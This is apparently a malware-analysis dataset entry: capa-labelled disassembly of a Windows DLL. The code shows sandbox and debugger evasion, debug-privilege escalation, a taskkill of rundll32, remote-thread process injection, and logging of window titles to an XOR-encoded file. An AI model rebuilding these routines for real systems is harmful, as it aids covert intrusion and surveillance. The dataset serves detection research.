joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000181c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jle 0x1000183b
mov dl, byte [ecx + eax]
sub dl, 0x79
xor dl, 0x15
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x10001829
pop ebp
ret

Function at 0x10001cd6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jle 0x10001cf5
mov dl, byte [ecx + eax]
xor dl, 0x15
add dl, 0x79
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x10001ce3
pop ebp
ret

Function at 0x10001e15
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x5ab
push esi
idiv ecx
mov esi, dword [ebp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x10001e3e
mov eax, dword [ebp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x10001e32
pop esi
pop ebp
ret

Function at 0x10001e41
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call dword [0x1001a40c]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [0x1001a478]
test eax, eax
je 0x10001ee4
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], bl
call dword [0x1001a488]
test eax, eax
je 0x10001eda
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [0x1001a48c]
push dword [ebp - 4]
call dword [0x1001a3c0]
pop ebx
leave
ret
Function at 0x1000213f
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push SysReAllocString
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10002174
push eax
call dword [0x1001a3c0]
xor eax, eax
pop edi
pop esi
leave
ret
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0xc]
push 8
push eax
push esi
push esi
push 0x7405c
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
call dword [0x1001a3c0]
push esi
push 0x40000000
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.1000c880
mov esi, eax
mov eax, dword [ebp + 8]
mov ecx, edx
cdq
cmp ecx, edx
jg 0x1000216e
jl 0x100021b7
cmp esi, eax
jae 0x1000216e
push 1
pop eax
jmp 0x10002170

Function at 0x100021bc
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
push 4
push edi
push edi
call dword [0x1001a454]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x10002210
mov esi, 0x10000
mov dword [ebp - 0x14], edi
push esi
push 0x40
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push 3
push 0x30
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x10002215
or eax, 0xffffffff
jmp 0x1000227f
cmp dword [ebp - 8], edi
mov dword [ebp - 4], edi
jbe 0x10002274
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea esi, [ebx + 4]
push str.VMware_Tools
push dword [esi]
call dword [0x1001a4a0]
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.VMware
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.Virtual_Machine
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.VirtualBox_Guest
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
inc dword [ebp - 4]
add esi, 0x24
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x10002226
push dword [ebp - 0xc]
call dword [0x1001a460]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 1
pop eax
jmp 0x1000227f
Function at 0x100022ce
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
mov eax, 0x10010fdf
call fcn.1000c7ac
sub esp, 0x154
push ebx
push esi
mov esi, 0x104
push edi
push esi
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
push esi
push edi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0xd]
lea ecx, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
and dword [ebp - 4], ebx
push 0x10017240
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
lea ecx, [ebp - 0x160]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002356
lea eax, [ebp - 0x160]
inc ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000233c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, dword [ebp + 8]
jge 0x10002360
push 1
pop esi
jmp 0x10002362
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x10002380
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, dword [ebp + 8]
jg 0x10002396
xor eax, eax
jmp 0x10002399
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100023da
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012378
push 0x1000c92a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x1000243a
or dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002506
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, 0x10017244
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push 0xd
push eax
movsw word es:[edi], word [esi]
call dword [0x1001a494]
pop ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001e15
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
call dword [0x1001a4e8]
pop edi
pop esi
test eax, eax
je 0x1000254e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret

Function at 0x100025fc
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100123a8
push 0x1000c92a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x1000265c
or dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002673
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
or edi, 0xffffffff
inc eax
dec ebx
dec eax
inc ebx
push 0x10017258
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10017268
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 8], eax
jne 0x100026aa
inc eax
dec ebx
dec eax
inc ebx
jmp 0x100026ff
push 0
push 2
inc eax
dec ebx
dec eax
inc ebx
call dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100026ff
mov esi, dword [ebp + 8]
cmp dword [ebp - 0x128], esi
je 0x100026f5
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x100026ff
jmp 0x100026d8
inc eax
dec ebx
dec eax
inc ebx
mov edi, dword [ebp - 0x118]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002706
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
inc eax
dec ebx
dec eax
inc ebx
push 0x10017284
or esi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100027dc
push 0x10017294
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
inc eax
dec ebx
dec eax
inc ebx
cmp dword [ebp - 0x18], 0
jne 0x1000274b
mov eax, esi
jmp 0x100027e4
push 0
push 2
call dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100027dc
inc eax
dec ebx
dec eax
inc ebx
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x11c]
push eax
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x100027d6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32Next
jmp 0x10002772
mov esi, dword [ebp - 0x138]
mov ecx, esi
inc eax
dec ebx
dec eax
inc ebx
mov eax, ecx
pop esi
pop ebx
leave
ret

Function at 0x10002842
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x3f
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemBIOS_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100028b0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push str.SystemManufacturer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x48]
push str.VMWARE
push eax
call dword [0x1001a4a0]
pop ecx
pop ecx
push dword [ebp - 4]
test eax, eax
je 0x100028aa
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
leave
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
leave
ret

Function at 0x100028b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.1000bcd6
test eax, eax
pop ecx
je 0x10002909
push 0
push str.taskkill__f__im_rundll32.exe
call dword [0x1001a374]
leave
ret
Function at 0x10002aef
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push edi
call dword [0x1001a494]
test eax, eax
pop ecx
jbe 0x10002b69
cmp byte [esi + edi], 0x5c
jne 0x10002b5c
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.1000bc98
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10002b5c
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
inc esi
call dword [0x1001a494]
cmp esi, eax
pop ecx
jb 0x10002b22
pop edi
pop esi
leave
ret

Function at 0x10002c28
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
push 0x1001a52c
lea eax, [ebp - 0x140]
push 0x10017380
push eax
call dword [0x1001a424]
add esp, 0xc
lea eax, [ebp - 4]
mov esi, SysReAllocString
push eax
push 0x20019
lea eax, [ebp - 0x140]
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
pop edi
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0xc], edi
push 1
lea ecx, [ebp - 0xc]
pop ebx
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0
push 0x100173a8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002d23
mov edi, 0x1001a274
push 0
push edi
call dword [0x1001a494]
pop ecx
push eax
push edi
push ebx
lea eax, [ebp - 0x140]
push 0x100173b0
push eax
push esi
call fcn.1000c55c
add esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push str._4d__.2d__.2d__.2d:_.2d
push eax
call dword [0x1001a424]
add esp, 0x1c
lea eax, [ebp - 0x3c]
push ebx
push eax
call dword [0x1001a494]
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
lea eax, [ebp - 0x140]
push 0x100173d0
push eax
push esi
call fcn.1000c55c
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002d28
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 0x110]
push 0x100173dc
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 8]
pop ecx
push eax
push 0x20019
lea eax, [ebp - 0x110]
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x50
push ecx
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x10017400
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002d99
call fcn.10002c28
leave
ret
Function at 0x100035b9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x1000362a
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003623
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
push dword [ebp + 8]
call esi
pop ecx
push eax
lea eax, [ebp - 0x104]
push eax
call esi
pop ecx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10003630
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100035f5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x1000362c

Function at 0x100036a3
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x1001749c
call fcn.10003638
test eax, eax
pop ecx
je 0x100036c5
xor eax, eax
jmp 0x1000381b
push dword [ebp + 8]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
je 0x100036be
mov ebx, 0x114
lea eax, [ebp - 0x114]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push 0x100174b0
push 0x100174bc
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x100174cc
push 0x100174d4
mov dword [ebp - 0x110], eax
call esi
push eax
call edi
push 0x100174e4
push str.Kernel32.dll
mov dword [ebp - 0x114], eax
call esi
push eax
call edi
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x108], eax
mov ax, word [0x10019bdc]
push 0x3f
mov word [ebp - 0x214], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x212]
mov esi, 0xff
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.10003c48
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, 0x3000
push 0x40
push edi
push ebx
push 0
push dword [ebp + 8]
call esi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x100036be
push 0
lea ecx, [ebp - 0x114]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call ebx
test eax, eax
je 0x100036be
push 0x40
push edi
mov edi, 0x1000
push edi
push 0
push dword [ebp + 8]
call esi
mov esi, eax
test esi, esi
je 0x100036be
push 0
push edi
push 0x10003583
push esi
push dword [ebp + 8]
call ebx
test eax, eax
je 0x100036be
xor edi, edi
push edi
push edi
push dword [ebp + 0xc]
push esi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor ecx, ecx
cmp eax, edi
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004057
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x10c]
push 0x1c
push eax
push esi
call dword [0x1001a4dc]
lea eax, [ebp - 0x10c]
push eax
call dword [0x1001a4e8]
test eax, eax
je 0x100040b0
lea eax, [ebp - 0x10c]
push 0x10017ec8
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x10017ecc
jmp 0x100040e4
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x10c]
push 0x10017ed4
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x10017ee0
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10004132
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov ebx, eax
push ebx
call sub.MFC42.DLL_operatornew
test ebx, ebx
pop ecx
mov edi, eax
jle 0x1000415d
mov ecx, dword [ebp + 8]
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebx
jne 0x10004151
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [0x1001a3c0]
push edi
call sub.MFC42.DLL_operatordelete
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004188
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x10019d28
push 0
push esi
call dword [0x1001a49c]
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x1001a128], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1001a128]
cmp eax, dword [0x10019d24]
je 0x1000426d
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10004263
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push 0x10017ee8
push eax
call dword [0x1001a424]
lea eax, [ebp - 0x414]
push eax
call fcn.10004057
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call dword [0x1001a49c]
push ebx
push 0
push esi
call dword [0x1001a49c]
add esp, 0x40
mov dword [ebp - 4], 1
mov eax, dword [0x1001a128]
mov dword [0x10019d24], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100046c6
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push 0x10017f80
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10019d22]
xor ebx, ebx
cmp ax, bx
je 0x100047b6
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x100047b6
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x100047ad
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x100047ad
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x1000478f
mov dword [ebp + 8], ebx
call dword [sym.imp.MSVCRT.dll_rand]
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x10004769
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x1000475e
push dword [ebp - 8]
call dword [0x1001a3c0]
pop edi
pop esi
pop ebx
leave
ret